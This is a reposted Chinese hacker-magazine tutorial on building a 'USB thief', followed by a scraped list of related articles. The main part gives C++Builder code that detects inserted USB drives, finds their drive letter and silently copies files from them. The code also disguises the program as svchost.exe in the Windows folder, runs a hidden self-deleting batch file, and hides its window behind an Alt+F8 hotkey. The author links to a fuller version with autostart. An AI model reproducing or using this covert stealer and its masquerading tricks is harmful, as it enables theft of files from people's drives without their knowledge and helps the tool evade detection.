锻造完美U盘小偷:活用消息机制
作者:灰狐
来源:灰狐's Blog

注:本文已发表在<黑客防线>2008年第1期,转载请注明出处.

以前经常看到有人做出一些蛮有意思的小工具,其中最多的似乎就是所谓的U盘小偷了——偷偷地把你U盘里的东西copy出来的东西。

根据以前的《黑客防线》来看,就这一类的工具已经N多了,有脚本或批处理的、有VC的、有BCB的、有delphi或VB的,五花八门;当然其中各个的技术含量也是大不相同,大多数都是采用最常规的做法。注入进程的见过不少,但居然很少有讲使用消息机制的。(也许有不少,但在杂志上没看到过)

今天我就综合采用多种方法来打造一个尽量完善的U盘小偷;我没有采用任何比较难的技术,而是演示怎样综合利用各种思路来弥补技术上的不足。

首先得搞清楚我们的小偷具体要做什么,就是所谓的系统分析,呵呵。通常这些小偷程序都是工作在我们的电脑或者最起码是我们能接触到的电脑(不然偷了东西也没办法给运回来啊),所以此时进程隐藏并不是非常重要了,只要在任务管理器中不能被发现即可;再者就是程序要隐藏在后台运行(废话);还有就是绝对不能占用太多资源,这个非常重要;最后就是智能判断应该偷哪些文件。

先来看最核心的功能吧,利用消息机制来实现实时监控U盘事件。

我就不从头讲解什么是消息机制了,还不太理解的读者可以先参考我博客上的两篇文章《理解Windows消息机制》、《Windows消息高级应用》(URL:http://www.huihu32.cn/post/37.htmlhttp://www.huihu32.cn/post/38.html)。现在假设你已经大概知道了什么是消息、怎样处理消息这些内容。

先介绍下U盘事件,在USB设备插入或者移除等操作发生的时候,系统会将WM_DEVICECHANGE消息分发到系统中的所有顶层窗口。WM_DEVICECHANGE消息的wParam有两个我们需要注意的值:

DBT_DEVICEARRIVAL // 0x8000 插入事件

DBT_DEVICEREMOVECOMPLETE //0x8004 移除事件

我们先写段代码来测试一下,用BCB新建一个Application工程,在头文件Unit1.h中最后加入重载窗口函数的声明:

public: // User declarations

__fastcall TForm1(TComponent* Owner);

void __fastcall WndProc(TMessage &Message); //我们要重载这个函数

然后在实现文件Unit1.cpp中实现:

void __fastcall TForm1::WndProc(TMessage &Message)

{

if(!bStarted) //如果没点“开始监控”按钮我们暂不监控

{

}

//如果是移动设备消息则进入处理

if(Message.Msg == WM_DEVICECHANGE) //帮助里面有这个消息的详细说明

{

switch(Message.WParam)

{

case DBT_DEVICEARRIVAL:

Memo1->Lines->Add(" 发现USB设备插入!");

break;

case DBT_DEVICEREMOVECOMPLETE:

Memo1->Lines->Add(" USB设备被拔出!");

break;

default:

break;

}

}

TForm::WndProc(Message); //最后别忘了把其他消息交给默认窗口函数处理

}

注意以上代码需要包含头文件:#include <Dbt.h>。

下面我们看一下效果,我插入一个U盘的时候和拔出的时候都被发现了,如图1:

根据网上流传的说法,当网络驱动器设备连接和移除的时候也会触发这个消息,可以做如下预处理:

PDEV_BROADCAST_VOLUME dbvDev=(PDEV_BROADCAST_VOLUME)Message.LParam;

if (dbvDev->dbcv_flags & DBTF_MEDIA)

{ //加入处理代码

}

在WM_DEVICECHANGE消息的lParam参数中保存了设备的相关信息,我们要对设备的类型进行判断,只需要获得DEV_BROADCAST_VOLUME结构中的dbcv_flags的值。

当它的值为DBTF_NET时,那么当前的这个逻辑卷便是网络卷。所以我们在上面代码中判断dbcv_flags的值是否为DBTF_MEDIA,以此判断是否为网络驱动器。也可以这样判断:dbcv_flags如果等于1,则表示是光盘驱动器;如果是2,则是网络驱动器;如果是硬盘、U盘则都等于0(注:这些结构的说明在BCB的帮助中我没找到,但VC的MSDN中有非常详细的说明),这样会使得我们程序的容错性大大地提高。

需要注意的是,当插入一个设备时,所有与这个设备相关的设备都会产生这个事件,而不是产生单一的插入事件,这个问题可以用 GUID 解决。

注册设备GUID的代码:

DEV_BROADCAST_DEVICEINTERFACE DevInt;

memset(&DevInt,0,sizeof(DEV_BROADCAST_DEVICEINTERFACE));

DevInt.dbcc_size = sizeof(DEV_BROADCAST_DEVICEINTERFACE);

DevInt.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE;

DevInt.dbcc_classguid = DevGuid;

//设备的GUID,不同的设备有不同的GUID,根据实际情况设定

hDevNotify=RegisterDeviceNotification(Handle,&DevInt,DEVICE_NOTIFY_WINDOW_HANDLE);

Windows XP以上版本允许用DEVICE_NOTIFY_ALL_INTERFACE_CLASSES注册关注所有的设备的插入和拔出事件,这个参数是RegisterDeviceNotification函数的第三个参数。如下:

RegisterDeviceNotification(Handle,&DevInt,DEVICE_NOTIFY_WINDOW_HANDLE|

DEVICE_NOTIFY_ALL_INTERFACE_CLASSES);

但这样就无法在Win 2K及其以下系统运行。所以建议直接获取你关注的那个设备的GUID,利于程序的通用性。

关于如何获取设备的GUID,最简单的办法是查注册表:

“HKEY_LOCAL_MACHINE//SYSTEM//ControlSet001//Enum//USB//Vid_厂家标识&

Pid_产品标识//驱动程序”里面的ClassGUID就是驱动程序的GUID标识。

不过,我们这里并不打算使用GUID,而是当捕获到USB设备插入的消息后就启动扫描代码来遍历寻找U盘(可以使用GUID过滤掉自己的U盘)。

这时修改一下原来的代码,把

case DBT_DEVICEARRIVAL:

Memo1->Lines->Add(" 发现USB设备插入!");

break;

修改为以下:

case DBT_DEVICEARRIVAL:

{

PDEV_BROADCAST_VOLUME dbvDev = (DEV_BROADCAST_VOLUME *)Message.LParam;

if(dbvDev->dbcv_flags == 0)

{

Memo1->Lines->Add(" 发现USB设备插入!");

Memo1->Lines->Add(" 当前U盘盘符为"+AnsiString(ScanFlashDisk()));

}

break;

}

其中ScanFlashDisk()函数的定义为:

char __fastcall TForm1::ScanFlashDisk()

{

char USB = NULL;

char szDriveName[4] = {0};

wsprintf(szDriveName,"C:/0");

for(szDriveName[0] = 'C';szDriveName[0] < 'Z';szDriveName[0]++)

{

if(GetDriveType(szDriveName) == DRIVE_REMOVABLE)

{

USB=szDriveName[0];

return USB;

}

}

return USB;

}

此时的运行效果请看截图2:

现在我们离目标已经很近了,下面就是进程的隐藏技巧,本来想采用进程注入的方法的,但如果这样的话整个程序都需要重写了,在自己电脑上隐藏个进程还需要这么麻烦吗?

通常每次开机的时候都会有好几个svchost.exe进程,所以我们只要在启动的时候检查自己的名字是不是svchost.exe,如果不是就退出,生成一个批处理将自己改名。系统的svchost.exe是在system32目录下的,我们就把自己隐藏到Windows目录下吧,反正这里的文件也多,并且我们的小偷平时并不占很多资源,一般来说还是比较容易隐藏的。下面是测试代码:

//检查自己的路径

char DirBuffer[MAX_PATH],SysBuffer[MAX_PATH];

DWORD DirSize = sizeof(DirBuffer);

GetWindowsDirectory(SysBuffer,DirSize); //得到Windows目录位置

strcat(SysBuffer,"//svchost.exe"); //构造完整文件名

HMODULE hModule = GetModuleHandle(NULL);

GetModuleFileName(hModule,DirBuffer,DirSize); //得到程序自身完整文件名

if(strcmp(DirBuffer,SysBuffer) != 0) //比较两个完整文件名是否相同

{ //如果不在Windows目录

CopyFile(DirBuffer,SysBuffer,false); //将自身覆盖拷贝到Windows目录

FILE *fp;

fp = fopen("system.bat","w+");

fprintf(fp,"@echo off/r/n"); //生成自删除的批处理文件

fprintf(fp,":start/r/n/tif not exist %s goto done/r/n",ExtractFileName(DirBuffer));

fprintf(fp,"/tdel /f /q %s/r/n",ExtractFileName(DirBuffer));

fprintf(fp,"goto start/r/n");

fprintf(fp,":done/r/n");

fprintf(fp,"/tdel /f /q %0/r/n");

fclose(fp);

//隐藏窗口运行此批处理

ShellExecute(NULL,"open","system.bat",NULL,NULL,SW_HIDE);

//别忘了把新路径下的小偷给启动哦

ShellExecute(NULL,"open",SysBuffer,NULL,NULL,SW_HIDE);

exit(0); //退出程序

}

这段代码经过测试完全可以达到目的,任务管理器中根本看不出来是哪个svchost,只有利用其它专门工具了,我是用冰刃才找到了是哪个进程。

哈哈,两个重要问题都解决了,现在我们就一鼓作气把剩下的两个问题搞定吧,隐藏窗口在BCB中尤其简单:

Form1->Hide();

有人提问了,隐藏起来自己也看不到了咋办?好说好说,咱设置一个全局热键不就得了,实现方法不难,请看:

ATOM iHot = GlobalAddAtom("HotKey"); //注册一个全局原子,这个是必须的

RegisterHotKey(this->Handle,iHot,MOD_ALT,VK_F8); //定义热键 Alt + F8

在程序的OnDestroy事件中要将其释放掉:

UnregisterHotKey(this->Handle,WM_HOTKEY);

捕获到热键时该怎么处理呢?答案是使用消息映射:

//定义事件函数

void __fastcall OnHotKey(TMessage &msg);

BEGIN_MESSAGE_MAP

MESSAGE_HANDLER(WM_HOTKEY,TMessage,OnHotKey);

END_MESSAGE_MAP(TForm);

最后在主文件中加入我们的实现代码:

void __fastcall Form1::OnHotKey(TMessage &msg)

{

MainForm->Show();

}

这样当程序在后台工作的时候我们就可以用Alt+F8直接呼出窗口进行管理了。

智能判断文件说起来很悬乎,其实就是判断扩展名,因为像mp3、wma、rmv这些影音文件通常比较大,而且通常也不是我们想关心的内容?这里我们也不用写上大段代码来遍历文件,然后判断扩展名,这样太麻烦了,还是用批处理吧。代码就不发了,本文涉及到的所有源代码均可以在打包的源文件中找到。
补充说明:我已经利用业余时间重写了这个U盘小偷,做的有一定的实用性了,本文所讲到的大多数技巧都继续使用了,并且又增加了许多新的技巧,比如使用了多线程、改用API遍历文件并判断属性确定是否值得拷贝、支持注册表启动和服务启动、U盘防火墙等很多实用的功能,具体可以参见:http://www.huihu32.cn/post/ustealer.html。截止目前的版本完整工程代码以及可执行程序我都已经打包放在附件里面了。

锻造完美U盘小偷:活用消息机制的更多相关文章

  1. 读"U盘小偷"有感

    作者: sudami 嘿嘿,今天终于有时间学习自己喜欢的东西了,在kanxue里看到一篇关于U盘小偷的文章:http://bbs.pediy.com/showthread.php?p=381656#p ...

  2. U盘小偷——C++实现U盘插入检测和文件扫描拷贝

    前几天女朋友说老师上课的PPT不共享,没法复习,想着写个U盘小偷拷贝PPT来着,后来觉得这样的行为这是不对的,万一不小心复制了老师的专利啥的,或者一些不可描述的东西,就闹大了. 虽然没有采取实际行动, ...

  3. Android异步消息机制

    Android中的异步消息机制分为四个部分:Message.Handler.MessageQueue和Looper. 其中,Message是线程之间传递的消息,其what.arg1.arg2字段可以携 ...

  4. 史上最详细的Android消息机制源码解析

    本人只是Android菜鸡一个,写技术文章只是为了总结自己最近学习到的知识,从来不敢为人师,如果里面有不正确的地方请大家尽情指出,谢谢! 606页Android最新面试题含答案,有兴趣可以点击获取. ...

  5. iOS开发系列--通知与消息机制

    概述 在多数移动应用中任何时候都只能有一个应用程序处于活跃状态,如果其他应用此刻发生了一些用户感兴趣的那么通过通知机制就可以告诉用户此时发生的事情.iOS中通知机制又叫消息机制,其包括两类:一类是本地 ...

  6. Android消息传递之Handler消息机制

    前言: 无论是现在所做的项目还是以前的项目中,都会遇见线程之间通信.组件之间通信,目前统一采用EventBus来做处理,在总结学习EventBus之前,觉得还是需要学习总结一下最初的实现方式,也算是不 ...

  7. Windows消息机制

    Windows的消息系统是由3个部分组成的: · 消息队列.Windows能够为所有的应用程序维护一个消息队列.应用程序必须从消息队列中获取消息,然后分派给某个窗口.· 消息循环.通过这个循环机制应用 ...

  8. OSG消息机制之事件处理概述

    OSG的消息机制包括好多个头文件预定义及多个类. 首先,消息接收相关的类当属osgGA::GUIEventHandler和osgGA::GUIEventAdapter这两个类了.前者处理OSG程序与用 ...

  9. [转]runtime 消息机制

    原文地址:http://www.jianshu.com/p/f6300eb3ec3d 一.关于runtime 之前在项目中有遇到过用runtime解决改变全局字体的问题,所以再一次感受到了runtim ...

随机推荐

  1. 谈谈javascript的函数作用域

    在一些类似c语言的编程语言中,花括号内的每一段代码都具有各自的作用域,而且变量在声明他们的代码段之外是不可见的,我们称为块级作用域(block scope),而javascript中没有块级作用域.取 ...

  2. JSP简单练习-定时刷新页面

    <%@ page contentType="text/html; charset=gb2312" %> <%@ page import="java.ut ...

  3. 使用AKKA做分布式爬虫的思路

    上周公司其它小组在讨论做分布式爬虫,我也思考了一下.提了一个方案,就是使用akka分布式rpc框架来做,自己写master和worker程序,client向master提交begin任务或者其它爬虫需 ...

  4. Android 四大组件学习之BroadcastReceiver三

    本节学习广播的分类. 广播分为无序广播和有序广播 无序广播: 广播发送者的action与广播接收者的action都匹配的话,所以广播介绍者都能够收到这条广播,而且没有先后顺序,能够觉得是同一时候收到 ...

  5. 玩转oracle学习第五天

     1.上节回想 2.维护数据的完整性 3.管理索引 4.管理权限和角色 1.掌握维护oracle数据完整性的技巧  2.理解索引的概念,会建立索引  3.管理oracle的权限和角色   介绍:维 ...

  6. Ubuntu中iptables的使用

    (一) 设置开机启动iptables# sysv-rc-conf --level 2345 iptables on (二) iptables的基本命令 1. 列出当前iptables的策略和规则# i ...

  7. onkeydown-onkeypress-onkeyup

      CreateTime--2016年12月17日22:28:36Author:Marydononkeydown.onkeypress和onkeyup参考链接:http://www.jb51.net/ ...

  8. 500 OOPS: chroot

    FTP登录时报错: 1.500 OOPS: chroot 解决方法:关闭SElinux 2.500 OOPS: vsftpd: refusing to run with writable root i ...

  9. openGL 坐标系的互相转换

    openGL坐标系包括旋转,平移,缩放被塞在一个矩阵里面. 坐标系之间的转换基础是矩阵的运算. 每个矩阵代表的坐标系,就是是原点坐标系通过旋转.平移,缩放得到的坐标系. 当一个矩阵右乘一个向量或是还有 ...

  10. Spring.Net Aop 学习

    浅析Spring.net 中的Aop使用 Spring.NET 中的 AOP .NET中AOP的几种实现方案 Spring.NET学习笔记12——面向切面编程(基础篇) Level 300